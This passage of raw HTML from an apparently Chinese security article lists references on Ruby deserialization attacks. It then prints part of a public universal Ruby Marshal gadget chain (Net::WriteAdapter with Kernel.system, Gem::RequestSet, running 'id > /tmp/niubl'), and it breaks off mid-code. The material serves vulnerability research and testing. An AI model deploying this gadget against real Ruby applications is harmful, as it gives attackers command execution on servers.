none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;"><a href="https://github.com/haileys/old-website/blob/master/posts/rails-3.2.10-remote-code-execution.md" target="_blank">https://github.com/haileys/old-website/blob/master/posts/rails-3.2.10-remote-code-execution.md</a></span></section></li><li><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;"><a href="https://www.elttam.com/blog/ruby-deserialization/" target="_blank">https://www.elttam.com/blog/ruby-deserialization/</a></span></section></li><li><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">l</span><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;"><a href="https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html" target="_blank">https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html</a></span></section></li><li><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">l</span><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;"><a href="https://github.com/httpvoid/writeups/blob/main/Ruby-deserialization-gadget-on-rails.md" target="_blank">https://github.com/httpvoid/writeups/blob/main/Ruby-deserialization-gadget-on-rails.md</a></span></section></li></ul><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">使用已经公开的POC测试：</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#6A9955;mso-font-kerning:0pt;"># Autoload the
required classes</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">Gem</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">::</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4FC1FF;mso-font-kerning:0pt;">SpecFetcher</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">Gem</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">::</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4FC1FF;mso-font-kerning:0pt;">Installer</span></p><p style="background: rgb(30, 30, 30);"><br/></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#6A9955;mso-font-kerning:0pt;"># prevent the
payload from running when we Marshal.dump it</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#C586C0;mso-font-kerning:0pt;">module</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">Gem</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#C586C0;mso-font-kerning:0pt;">class</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">Requirement</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">   </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#C586C0;mso-font-kerning:0pt;">def</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">marshal_dump</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">  
  [</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:
Consolas;mso-fareast-font-family:宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">@requirements</span><span lang="EN-US" style="mso-bidi-font-size:
10.5pt;font-family:Consolas;mso-fareast-font-family:宋体;mso-bidi-font-family:
宋体;color:#D4D4D4;mso-font-kerning:0pt;">]</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">   </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#C586C0;mso-font-kerning:0pt;">end</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#C586C0;mso-font-kerning:0pt;">end</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#C586C0;mso-font-kerning:0pt;">end</span></p><p style="background: rgb(30, 30, 30);"><br/></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">wa1</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> = </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">Net</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">::</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">WriteAdapter</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">.</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">new</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">(</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4FC1FF;mso-font-kerning:0pt;">Kernel</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">, </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">:system</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">)</span></p><p style="background: rgb(30, 30, 30);"><br/></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">rs</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> = </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">Gem</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">::</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">RequestSet</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">.</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">allocate</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">rs</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">.</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">instance_variable_set</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">(</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#CE9178;mso-font-kerning:0pt;">&#39;@sets&#39;</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">, </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">wa1</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">)</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">rs</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">.</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">instance_variable_set</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">(</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#CE9178;mso-font-kerning:0pt;">&#39;@git_set&#39;</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">, </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#CE9178;mso-font-kerning:0pt;">&#34;id &gt;
/tmp/niubl&#34;</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">)</span></p><p style="background: rgb(30, 30, 30);"><br/></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">wa2</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> = </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">Net</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">::</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">WriteAdapter</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">.</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">new</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">(</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">rs</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">, </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">:resolve</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">)</span></p><p style="background: rgb(30, 30, 30);"><br/></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">i</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> = </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">Gem</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">::</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">Package</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">::</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">TarReader</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">::</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">Entry</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">.</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">allocate</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">i</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">.</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">instance_variable_set</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">(</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#CE9178;mso-font-kerning:0pt;">&#39;@read&#39;</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">, </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#B5CEA8;mso-font-kerning:0pt;">0</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">)</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">i</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">.</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">instance_variable_set</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">(</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#CE9178;mso-font-kerning:0pt;">&#39;@header&#39;</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">, </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#CE9178;mso-font-kerning:0pt;">&#34;aaa&#34;</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">)</span></p><p style="background: rgb(30, 30, 30);"><br/></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">n</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> = </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">Net</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">::</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">BufferedIO</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">.</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">allocate</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">n</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">.</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">instance_variable_set</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">(</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#CE9178;mso-font-kerning:0pt;">&#39;@io&#39;</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">, </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">i</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">)</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">n</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">.</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">instance_variable_set</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">(</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#CE9178;mso-font-kerning:0pt;">&#39;@debug_output&#39;</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">, </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
